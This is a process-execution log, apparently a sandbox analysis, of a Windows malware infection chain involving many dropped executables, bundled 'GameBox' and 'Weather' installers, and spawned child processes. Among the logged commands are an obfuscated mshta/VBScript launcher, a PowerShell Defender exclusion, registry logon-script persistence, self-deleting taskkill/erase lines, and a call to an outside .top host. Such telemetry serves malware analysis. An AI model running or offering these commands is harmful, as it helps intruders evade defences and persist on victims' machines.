        "C:\Windows\System32\cmd.exe" /c taskkill /im "gcleaner.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\rpseygdx.thk\gcleaner.exe" & exit
        11⤵
        
        PID:9368
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im "gcleaner.exe" /f
        12⤵
        Kills process with taskkill
        
        PID:10092
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\4fsy1yma.tmg\autosubplayer.exe /S & exit
        9⤵
        
        PID:3960
    - - C:\Program Files (x86)\GameBox INC\GameBox\xtect12.exe
        
        "C:\Program Files (x86)\GameBox INC\GameBox\xtect12.exe"
        5⤵
        Executes dropped EXE
        
        PID:6004
      - C:\Users\Admin\Documents\aU_YWnG4yVqX1HKY_nk55eIu.exe
        
        "C:\Users\Admin\Documents\aU_YWnG4yVqX1HKY_nk55eIu.exe"
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4440
        
        C:\Users\Admin\Documents\aU_YWnG4yVqX1HKY_nk55eIu.exe
        
        "C:\Users\Admin\Documents\aU_YWnG4yVqX1HKY_nk55eIu.exe"
        7⤵
        
        PID:7872
      - C:\Users\Admin\Documents\bysdIHr3sfeItWYgHezLLInx.exe
        
        "C:\Users\Admin\Documents\bysdIHr3sfeItWYgHezLLInx.exe"
        6⤵
        
        PID:5684
        
        C:\Users\Admin\Documents\bysdIHr3sfeItWYgHezLLInx.exe
        
        C:\Users\Admin\Documents\bysdIHr3sfeItWYgHezLLInx.exe
        7⤵
        
        PID:7016
        
        C:\Users\Admin\Documents\bysdIHr3sfeItWYgHezLLInx.exe
        
        C:\Users\Admin\Documents\bysdIHr3sfeItWYgHezLLInx.exe
        7⤵
        
        PID:7288
      - C:\Users\Admin\Documents\Wkd_IwW3lZQKXYTwmGnRS8am.exe
        
        "C:\Users\Admin\Documents\Wkd_IwW3lZQKXYTwmGnRS8am.exe"
        6⤵
        
        PID:6472
      - C:\Users\Admin\Documents\PhJGQeYiwZqTAsttVmEvuymW.exe
        
        "C:\Users\Admin\Documents\PhJGQeYiwZqTAsttVmEvuymW.exe"
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4324
      - C:\Users\Admin\Documents\9i0RAi3XOEFSUZ8c7wJwQ7kZ.exe
        
        "C:\Users\Admin\Documents\9i0RAi3XOEFSUZ8c7wJwQ7kZ.exe"
        6⤵
        
        PID:4980
      - C:\Users\Admin\Documents\3ON_3kz6oY2EsUftO3Gw2CaB.exe
        
        "C:\Users\Admin\Documents\3ON_3kz6oY2EsUftO3Gw2CaB.exe"
        6⤵
        
        PID:6316
      - C:\Users\Admin\Documents\Pnn0t45N8ZWrVtASDI8fXtqx.exe
        
        "C:\Users\Admin\Documents\Pnn0t45N8ZWrVtASDI8fXtqx.exe"
        6⤵
        
        PID:6164
      - C:\Users\Admin\Documents\jO7aNJcU1zP6Qr3Erd6h46vt.exe
        
        "C:\Users\Admin\Documents\jO7aNJcU1zP6Qr3Erd6h46vt.exe"
        6⤵
        
        PID:2184
        
        C:\Users\Admin\Documents\jO7aNJcU1zP6Qr3Erd6h46vt.exe
        
        C:\Users\Admin\Documents\jO7aNJcU1zP6Qr3Erd6h46vt.exe
        7⤵
        
        PID:5144
        
        C:\Users\Admin\Documents\jO7aNJcU1zP6Qr3Erd6h46vt.exe
        
        C:\Users\Admin\Documents\jO7aNJcU1zP6Qr3Erd6h46vt.exe
        7⤵
        
        PID:7460
      - C:\Users\Admin\Documents\HlYxujVaZy5CFDwiHqHEEiSH.exe
        
        "C:\Users\Admin\Documents\HlYxujVaZy5CFDwiHqHEEiSH.exe"
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of FindShellTrayWindow
        
        PID:4888
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vbSCRipt:ClOSe( creATEoBJEcT("WscRIpT.sHEll" ).RUN("Cmd /Q /C tYPe ""C:\Users\Admin\Documents\HlYxujVaZy5CFDwiHqHEEiSH.exe"" > WO~L~OYJWS8EVL1.eXe && STaRt WO~L~oYjWS8EvL1.Exe -PifOcLbay~PF~N8a_e9RyKpu9 & if """" == """" for %W iN ( ""C:\Users\Admin\Documents\HlYxujVaZy5CFDwiHqHEEiSH.exe"" ) do taskkill -IM ""%~nXW"" -f " ,0 ,TRUE ) )
        7⤵
        
        PID:3940
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /Q /C tYPe "C:\Users\Admin\Documents\HlYxujVaZy5CFDwiHqHEEiSH.exe" > WO~L~OYJWS8EVL1.eXe && STaRt WO~L~oYjWS8EvL1.Exe -PifOcLbay~PF~N8a_e9RyKpu9 & if ""=="" for %W iN ( "C:\Users\Admin\Documents\HlYxujVaZy5CFDwiHqHEEiSH.exe") do taskkill -IM "%~nXW" -f
        8⤵
        
        PID:8732
        
        C:\Users\Admin\AppData\Local\Temp\WO~L~OYJWS8EVL1.eXe
        
        WO~L~oYjWS8EvL1.Exe -PifOcLbay~PF~N8a_e9RyKpu9
        9⤵
        
        PID:8884
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vbSCRipt:ClOSe( creATEoBJEcT("WscRIpT.sHEll" ).RUN("Cmd /Q /C tYPe ""C:\Users\Admin\AppData\Local\Temp\WO~L~OYJWS8EVL1.eXe"" > WO~L~OYJWS8EVL1.eXe && STaRt WO~L~oYjWS8EvL1.Exe -PifOcLbay~PF~N8a_e9RyKpu9 & if ""-PifOcLbay~PF~N8a_e9RyKpu9 "" == """" for %W iN ( ""C:\Users\Admin\AppData\Local\Temp\WO~L~OYJWS8EVL1.eXe"" ) do taskkill -IM ""%~nXW"" -f " ,0 ,TRUE ) )
        10⤵
        
        PID:8852
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /Q /C tYPe "C:\Users\Admin\AppData\Local\Temp\WO~L~OYJWS8EVL1.eXe" > WO~L~OYJWS8EVL1.eXe && STaRt WO~L~oYjWS8EvL1.Exe -PifOcLbay~PF~N8a_e9RyKpu9 & if "-PifOcLbay~PF~N8a_e9RyKpu9 "=="" for %W iN ( "C:\Users\Admin\AppData\Local\Temp\WO~L~OYJWS8EVL1.eXe") do taskkill -IM "%~nXW" -f
        11⤵
        
        PID:9140
        
        C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\System32\rundll32.exe" ~IWm4Wh.I,nKhkoYTFE
        10⤵
        
        PID:820
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill -IM "HlYxujVaZy5CFDwiHqHEEiSH.exe" -f
        9⤵
        Kills process with taskkill
        
        PID:8944
      - C:\Users\Admin\Documents\AK7homVur4oc_gp9P05u7HR6.exe
        
        "C:\Users\Admin\Documents\AK7homVur4oc_gp9P05u7HR6.exe"
        6⤵
        
        PID:6432
        
        C:\Users\Admin\AppData\Roaming\6115320.exe
        
        "C:\Users\Admin\AppData\Roaming\6115320.exe"
        7⤵
        
        PID:6992
        
        C:\Users\Admin\AppData\Roaming\8130877.exe
        
        "C:\Users\Admin\AppData\Roaming\8130877.exe"
        7⤵
        Executes dropped EXE
        
        PID:180
        
        C:\Users\Admin\AppData\Roaming\3420027.exe
        
        "C:\Users\Admin\AppData\Roaming\3420027.exe"
        7⤵
        
        PID:7948
        
        C:\Users\Admin\AppData\Roaming\2695970.exe
        
        "C:\Users\Admin\AppData\Roaming\2695970.exe"
        7⤵
        
        PID:2172
      - C:\Users\Admin\Documents\wvGHzJiTuL2OEZYs1karrrwd.exe
        
        "C:\Users\Admin\Documents\wvGHzJiTuL2OEZYs1karrrwd.exe"
        6⤵
        
        PID:5540
      - C:\Users\Admin\Documents\yV6I5WIwllMVof7zYgboTmvI.exe
        
        "C:\Users\Admin\Documents\yV6I5WIwllMVof7zYgboTmvI.exe"
        6⤵
        
        PID:6340
        
        C:\Users\Admin\Documents\yV6I5WIwllMVof7zYgboTmvI.exe
        
        "C:\Users\Admin\Documents\yV6I5WIwllMVof7zYgboTmvI.exe"
        7⤵
        
        PID:7740
      - C:\Users\Admin\Documents\4oviFLCs71JXnyx2mN7P4eVa.exe
        
        "C:\Users\Admin\Documents\4oviFLCs71JXnyx2mN7P4eVa.exe"
        6⤵
        
        PID:4776
      - C:\Users\Admin\Documents\Cl7EfPufqnQ2YFzfxbsFUzQq.exe
        
        "C:\Users\Admin\Documents\Cl7EfPufqnQ2YFzfxbsFUzQq.exe"
        6⤵
        
        PID:6908
        
        C:\Users\Admin\Documents\Cl7EfPufqnQ2YFzfxbsFUzQq.exe
        
        "C:\Users\Admin\Documents\Cl7EfPufqnQ2YFzfxbsFUzQq.exe"
        7⤵
        
        PID:228
      - C:\Users\Admin\Documents\hWCRkIR4vauF4zOiJwYV6J7D.exe
        
        "C:\Users\Admin\Documents\hWCRkIR4vauF4zOiJwYV6J7D.exe"
        6⤵
        
        PID:6932
      - C:\Users\Admin\Documents\a81QTgVeguj8gEyJyfq75gb_.exe
        
        "C:\Users\Admin\Documents\a81QTgVeguj8gEyJyfq75gb_.exe"
        6⤵
        
        PID:296
      - C:\Users\Admin\Documents\GaBbhM8QweBtEitvfYAXuMW6.exe
        
        "C:\Users\Admin\Documents\GaBbhM8QweBtEitvfYAXuMW6.exe"
        6⤵
        
        PID:6116
      - C:\Users\Admin\Documents\vxJF19pwBrzIGXHAksSpwN3g.exe
        
        "C:\Users\Admin\Documents\vxJF19pwBrzIGXHAksSpwN3g.exe"
        6⤵
        
        PID:6040
      - C:\Users\Admin\Documents\YcU4LTT7orIadzWaLcYi2nXE.exe
        
        "C:\Users\Admin\Documents\YcU4LTT7orIadzWaLcYi2nXE.exe"
        6⤵
        
        PID:6880
      - C:\Users\Admin\Documents\IEfQPxN0JHhv9q42aENz5Nbf.exe
        
        "C:\Users\Admin\Documents\IEfQPxN0JHhv9q42aENz5Nbf.exe"
        6⤵
        
        PID:7276
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im "IEfQPxN0JHhv9q42aENz5Nbf.exe" /f & erase "C:\Users\Admin\Documents\IEfQPxN0JHhv9q42aENz5Nbf.exe" & exit
        7⤵
        
        PID:7700
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im "IEfQPxN0JHhv9q42aENz5Nbf.exe" /f
        8⤵
        Kills process with taskkill
        
        PID:4160
      - C:\Users\Admin\Documents\q5yK4WtyqlTuHei5YnglHxoE.exe
        
        "C:\Users\Admin\Documents\q5yK4WtyqlTuHei5YnglHxoE.exe"
        6⤵
        
        PID:7268
        
        C:\Users\Admin\Documents\q5yK4WtyqlTuHei5YnglHxoE.exe
        
        "C:\Users\Admin\Documents\q5yK4WtyqlTuHei5YnglHxoE.exe" -q
        7⤵
        
        PID:6468
      - C:\Users\Admin\Documents\CFCEB9qVT6cxx8v3IXqRyl8N.exe
        
        "C:\Users\Admin\Documents\CFCEB9qVT6cxx8v3IXqRyl8N.exe"
        6⤵
        
        PID:7260
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im "CFCEB9qVT6cxx8v3IXqRyl8N.exe" /f & erase "C:\Users\Admin\Documents\CFCEB9qVT6cxx8v3IXqRyl8N.exe" & exit
        7⤵
        
        PID:5484
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im "CFCEB9qVT6cxx8v3IXqRyl8N.exe" /f
        8⤵
        Kills process with taskkill
        
        PID:8328
      - C:\Users\Admin\Documents\9WCj2sodanvV947dVcRY8UCW.exe
        
        "C:\Users\Admin\Documents\9WCj2sodanvV947dVcRY8UCW.exe"
        6⤵
        
        PID:7252
      - C:\Users\Admin\Documents\PHRQXpJYN7E91NjvPwSLVOdC.exe
        
        "C:\Users\Admin\Documents\PHRQXpJYN7E91NjvPwSLVOdC.exe"
        6⤵
        
        PID:7552
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\system32\rundll32.exe C:\Users\Admin\DOCUME~1\PHRQXP~1.DLL,s C:\Users\Admin\DOCUME~1\PHRQXP~1.EXE
        7⤵
        
        PID:4536
        
        C:\Windows\SysWOW64\RUNDLL32.EXE
        
        C:\Windows\system32\RUNDLL32.EXE C:\Users\Admin\DOCUME~1\PHRQXP~1.DLL,kDZa
        8⤵
        
        PID:9924
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath C:\Users\Admin\DOCUME~1\PHRQXP~1.DLL
        9⤵
        
        PID:5076
      - C:\Users\Admin\Documents\vq7LSndsUCKj_pQNQ9lykC7b.exe
        
        "C:\Users\Admin\Documents\vq7LSndsUCKj_pQNQ9lykC7b.exe"
        6⤵
        
        PID:5536
        
        C:\Users\Admin\AppData\Local\Temp\is-61C9H.tmp\vq7LSndsUCKj_pQNQ9lykC7b.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-61C9H.tmp\vq7LSndsUCKj_pQNQ9lykC7b.tmp" /SL5="$4038E,138429,56832,C:\Users\Admin\Documents\vq7LSndsUCKj_pQNQ9lykC7b.exe"
        7⤵
        
        PID:7596
        
        C:\Users\Admin\AppData\Local\Temp\is-PI6UI.tmp\Setup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-PI6UI.tmp\Setup.exe" /Verysilent
        8⤵
        
        PID:8680
        
        C:\Program Files (x86)\GameBox INC\GameBox\GameBoxWin64.exe
        
        "C:\Program Files (x86)\GameBox INC\GameBox\GameBoxWin64.exe" /qn CAMPAIGN="710"
        9⤵
        
        PID:8272
        
        C:\Windows\SysWOW64\msiexec.exe
        
        "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Y.msi" /qn CAMPAIGN=710 AI_SETUPEXEPATH="C:\Program Files (x86)\GameBox INC\GameBox\GameBoxWin64.exe" SETUPEXEDIR="C:\Program Files (x86)\GameBox INC\GameBox\" EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1629579443 /qn CAMPAIGN=""710"" " CAMPAIGN="710"
        10⤵
        
        PID:5220
    - - C:\Program Files (x86)\GameBox INC\GameBox\PBrowFile15.exe
        
        "C:\Program Files (x86)\GameBox INC\GameBox\PBrowFile15.exe"
        5⤵
        Executes dropped EXE
        
        PID:6112
      - C:\Users\Admin\AppData\Roaming\7466138.exe
        
        "C:\Users\Admin\AppData\Roaming\7466138.exe"
        6⤵
        
        PID:6720
      - C:\Users\Admin\AppData\Roaming\1037195.exe
        
        "C:\Users\Admin\AppData\Roaming\1037195.exe"
        6⤵
        
        PID:6664
      - C:\Users\Admin\AppData\Roaming\5887823.exe
        
        "C:\Users\Admin\AppData\Roaming\5887823.exe"
        6⤵
        
        PID:6812
      - C:\Users\Admin\AppData\Roaming\5722255.exe
        
        "C:\Users\Admin\AppData\Roaming\5722255.exe"
        6⤵
        
        PID:6944
      - C:\Users\Admin\AppData\Roaming\2407315.exe
        
        "C:\Users\Admin\AppData\Roaming\2407315.exe"
        6⤵
        
        PID:8
    - - C:\Program Files (x86)\GameBox INC\GameBox\Inlog.exe
        
        "C:\Program Files (x86)\GameBox INC\GameBox\Inlog.exe" /Verysilent
        5⤵
        Executes dropped EXE
        
        PID:5760
- C:\Users\Admin\Documents\vl8ieEveenrrk0ATyyXk_6d6.exe
  "C:\Users\Admin\Documents\vl8ieEveenrrk0ATyyXk_6d6.exe"
  2⤵
  - Executes dropped EXE
  - Checks BIOS information in registry
  - Checks whether UAC is enabled
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of AdjustPrivilegeToken
  PID:1112
- C:\Users\Admin\Documents\uirJhyYUCrI_qlr8NOzHWiKx.exe
  "C:\Users\Admin\Documents\uirJhyYUCrI_qlr8NOzHWiKx.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of AdjustPrivilegeToken
  PID:2244
- C:\Users\Admin\Documents\j88HxV4UXDWOPXhwPUiI12WW.exe
  "C:\Users\Admin\Documents\j88HxV4UXDWOPXhwPUiI12WW.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  PID:1564
- C:\Users\Admin\Documents\KEwv8xFLso1JmhjHqpiKMOP4.exe
  "C:\Users\Admin\Documents\KEwv8xFLso1JmhjHqpiKMOP4.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:1156

C:\Users\Admin\Documents\j88HxV4UXDWOPXhwPUiI12WW.exe
C:\Users\Admin\Documents\j88HxV4UXDWOPXhwPUiI12WW.exe
1⤵
- Executes dropped EXE
PID:4872
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 4872 -s 24
  2⤵
  - Program crash
  PID:2212

C:\Users\Admin\AppData\Local\Temp\is-8J5FE.tmp\Inlog.tmp
"C:\Users\Admin\AppData\Local\Temp\is-8J5FE.tmp\Inlog.tmp" /SL5="$103AE,138429,56832,C:\Program Files (x86)\GameBox INC\GameBox\Inlog.exe" /Verysilent
1⤵
PID:5240
- C:\Users\Admin\AppData\Local\Temp\is-2MI6F.tmp\Setup.exe
  "C:\Users\Admin\AppData\Local\Temp\is-2MI6F.tmp\Setup.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs74449 -token mtn1co3fo4gs5vwq -subid 721
  2⤵
  PID:5316
- - C:\Users\Admin\AppData\Local\Temp\is-FBMM6.tmp\Setup.tmp
    "C:\Users\Admin\AppData\Local\Temp\is-FBMM6.tmp\Setup.tmp" /SL5="$50056,17356095,721408,C:\Users\Admin\AppData\Local\Temp\is-2MI6F.tmp\Setup.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs74449 -token mtn1co3fo4gs5vwq -subid 721
    3⤵
    PID:4180
  - - C:\Windows\SysWOW64\cmd.exe
      "cmd.exe" /c expand C:\Users\Admin\AppData\Local\Temp\is-KEVMU.tmp\{app}\microsoft.cab -F:* %ProgramData%
      4⤵
      PID:7108
    - - C:\Windows\SysWOW64\expand.exe
        
        expand C:\Users\Admin\AppData\Local\Temp\is-KEVMU.tmp\{app}\microsoft.cab -F:* C:\ProgramData
        5⤵
        
        PID:6416
  - - C:\Windows\SysWOW64\cmd.exe
      "cmd.exe" /c reg add "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_EXPAND_SZ /d "%ProgramData%\regid.1993-06.com.microsoft\svrwebui.exe" /f
      4⤵
      PID:8632
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_EXPAND_SZ /d "C:\ProgramData\regid.1993-06.com.microsoft\svrwebui.exe" /f
        5⤵
        
        PID:804
  - - C:\Users\Admin\AppData\Local\Temp\is-KEVMU.tmp\{app}\vdi_compiler.exe
      "C:\Users\Admin\AppData\Local\Temp\is-KEVMU.tmp\{app}\vdi_compiler"
      4⤵
      PID:6924
  - - C:\Windows\SysWOW64\cmd.exe
      "cmd.exe" /c start http://afleof21klg.top/pgudonqntu/zmsaksepfx.php?xdl=mtn1co3fo4gs5vwq^&cid=74449^&param=721
      4⤵
      PID:856
  - - C:\ProgramData\regid.1993-06.com.microsoft\svrwebui.exe
      "C:\ProgramData\regid.1993-06.com.microsoft\svrwebui.exe"
      4⤵
      PID:6404

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:6276
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  PID:6288

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k SystemNetworkService
1⤵
PID:6548

C:\ProgramData\bwqd\rmfhegf.exe
C:\ProgramData\bwqd\rmfhegf.exe start
1⤵
PID:6912

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:5240

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
PID:6828
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding F61DAA1E512DE51628E446080941566F C
  2⤵
  PID:8488
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding A8D7AE5FC296653C6D891B2996B682A8 C
  2⤵
  PID:8204
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding C8E53B8CA2CA0FE4621777ACDD572B43 C
  2⤵
  PID:8480
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding F19184CD970017B2971351084D4610ED
  2⤵
  PID:8792
- C:\Users\Admin\AppData\Roaming\Weather\Weather\prerequisites\aipackagechainer.exe
  "C:\Users\Admin\AppData\Roaming\Weather\Weather\prerequisites\aipackagechainer.exe"
  2⤵
  PID:4680
- - C:\Users\Admin\AppData\Roaming\Weather\Weather\prerequisites\RequiredApplication_1\Weather_Installation.exe
    "C:\Users\Admin\AppData\Roaming\Weather\Weather\prerequisites\RequiredApplication_1\Weather_Installation.exe" -silent=1 -AF=715 -BF=715 -uncf=default
    3⤵
    PID:9360
  - - C:\Users\Admin\AppData\Roaming\Weather\Weather.exe
      "C:\Users\Admin\AppData\Roaming\Weather\Weather.exe" "--M3yPGhgtKO"
      4⤵
      PID:10124
    - - C:\Users\Admin\AppData\Roaming\Weather\Weather.exe
        
        C:\Users\Admin\AppData\Roaming\Weather\Weather.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Weather\User Data" /prefetch:7 --monitor-self --monitor-self-argument=--type=crashpad-handler "--monitor-self-argument=--user-data-dir=C:\Users\Admin\AppData\Local\Weather\User Data" --monitor-self-argument=/prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Weather\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Weather\User Data" --annotation=plat=Win64 --annotation=prod=Weather --annotation=ver=0.0.2 --initial-client-data=0x228,0x22c,0x230,0x204,0x234,0x7ffa2c3f9ec0,0x7ffa2c3f9ed0,0x7ffa2c3f9ee0
        5⤵
        
        PID:9136
      - C:\Users\Admin\AppData\Roaming\Weather\Weather.exe
        
        C:\Users\Admin\AppData\Roaming\Weather\Weather.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Weather\User Data" /prefetch:7 --no-periodic-tasks --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Weather\User Data\Crashpad" --annotation=plat=Win64 --annotation=prod=Weather --annotation=ver=0.0.2 --initial-client-data=0x150,0x154,0x158,0x12c,0x15c,0x7ff6200d4e60,0x7ff6200d4e70,0x7ff6200d4e80
        6⤵
        
        PID:10096
    - - C:\Users\Admin\AppData\Roaming\Weather\Weather.exe
        
        "C:\Users\Admin\AppData\Roaming\Weather\Weather.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1648,10504246800227199731,9541855078059083667,131072 --lang=en-US --service-sandbox-type=network --no-sandbox --enable-audio-service-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Weather\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw10124_140093925" --mojo-platform-channel-handle=1708 /prefetch:8
        5⤵
        
        PID:5536
    - - C:\Users\Admin\AppData\Roaming\Weather\Weather.exe
        
        "C:\Users\Admin\AppData\Roaming\Weather\Weather.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1648,10504246800227199731,9541855078059083667,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --enable-audio-service-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Weather\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw10124_140093925" --mojo-platform-channel-handle=2256 /prefetch:8
        5⤵
        
        PID:1760
    - - C:\Users\Admin\AppData\Roaming\Weather\Weather.exe
        
        "C:\Users\Admin\AppData\Roaming\Weather\Weather.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Weather\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1648,10504246800227199731,9541855078059083667,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Weather\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw10124_140093925" --nwjs --extension-process --enable-auto-reload --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=4 --mojo-platform-channel-handle=2580 /prefetch:1
        5⤵
        
        PID:7004
    - - C:\Users\Admin\AppData\Roaming\Weather\Weather.exe
        
        "C:\Users\Admin\AppData\Roaming\Weather\Weather.exe" --type=gpu-process --field-trial-handle=1648,10504246800227199731,9541855078059083667,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Weather\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw10124_140093925" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1660 /prefetch:2
        5⤵
        
        PID:8440
    - - C:\Users\Admin\AppData\Roaming\Weather\Weather.exe
        
        "C:\Users\Admin\AppData\Roaming\Weather\Weather.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1648,10504246800227199731,9541855078059083667,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --enable-audio-service-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Weather\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw10124_140093925" --mojo-platform-channel-handle=2996 /prefetch:8
        5⤵
        
        PID:5064
    - - C:\Users\Admin\AppData\Roaming\Weather\Weather.exe
        
        "C:\Users\Admin\AppData\Roaming\Weather\Weather.exe" --type=gpu-process --field-trial-handle=1648,10504246800227199731,9541855078059083667,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Weather\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw10124_140093925" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=3196 /prefetch:2
        5⤵
        
        PID:10228
    - - C:\Users\Admin\AppData\Roaming\Weather\Weather.exe
        
        "C:\Users\Admin\AppData\Roaming\Weather\Weather.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1648,10504246800227199731,9541855078059083667,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --enable-audio-service-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Weather\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw10124_140093925" --mojo-platform-channel-handle=1920 /prefetch:8
        5⤵
        
        PID:9312
    - - C:\Users\Admin\AppData\Roaming\Weather\Weather.exe
        
        "C:\Users\Admin\AppData\Roaming\Weather\Weather.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1648,10504246800227199731,9541855078059083667,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --enable-audio-service-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Weather\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw10124_140093925" --mojo-platform-channel-handle=3392 /prefetch:8
        5⤵
        
        PID:9984
    - - C:\Users\Admin\AppData\Roaming\Weather\Weather.exe
        
        "C:\Users\Admin\AppData\Roaming\Weather\Weather.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1648,10504246800227199731,9541855078059083667,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --enable-audio-service-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Weather\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw10124_140093925" --mojo-platform-channel-handle=3056 /prefetch:8
        5⤵
        
        PID:7652
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NonInteractive -NoLogo -ExecutionPolicy AllSigned -Command "C:\Users\Admin\AppData\Local\Temp\AI_E64E.ps1 -paths 'C:\Users\Admin\AppData\Roaming\Weather\Weather\prerequisites\file_deleter.ps1','C:\Users\Admin\AppData\Roaming\Weather\Weather\prerequisites\aipackagechainer.exe','C:\Users\Admin\AppData\Roaming\Weather\Weather\prerequisites' -retry_count 10"
    3⤵
    PID:9584

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
